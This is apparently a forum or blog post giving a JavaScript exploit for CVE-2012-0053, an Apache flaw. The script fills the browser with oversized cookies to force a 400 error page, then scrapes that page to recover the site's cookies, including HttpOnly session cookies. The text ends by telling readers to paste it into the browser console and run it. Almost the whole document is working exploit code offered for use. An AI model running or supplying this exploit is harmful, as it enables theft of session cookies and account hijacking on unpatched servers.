Script to take advantage of CVE-2012-0053

apachexss.js

// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
    // Construct string for cookie value
    var str = "";
    for (var i=0; i< 819; i++) {
        str += "x";
    }
    // Set cookies
    for (i = 0; i < 10; i++) {
        // Expire evil cookie
        if (good) {
            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
        }
        // Set evil cookie
        else {
            var cookie = "xss"+i+"="+str+";path=/";
        }
        document.cookie = cookie;
    }
}

function makeRequest() {
    setCookies();

    function parseCookies () {
        var cookie_dict = {};
        // Only react on 400 status
        if (xhr.readyState === 4 && xhr.status === 400) {
            // Replace newlines and match <pre> content
            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
            if (content.length) {
                // Remove Cookie: prefix
                content = content[1].replace("Cookie: ", "");
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
                // Add cookies to object
                for (var i=0; i<cookies.length; i++) {
                    var s_c = cookies[i].split('=',2);
                    cookie_dict[s_c[0]] = s_c[1];
                }
            }
            // Unset malicious cookies
            setCookies(true);
            alert(JSON.stringify(cookie_dict));
        }
    }
    // Make XHR request
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = parseCookies;
    xhr.open("GET", "/", true);
    xhr.send(null);
}

makeRequest();

It's written in JavaScript. So the most easy way will be but the code in your command editor which can be found in the console (e.g. firebug console or 'element inspector') and RUN!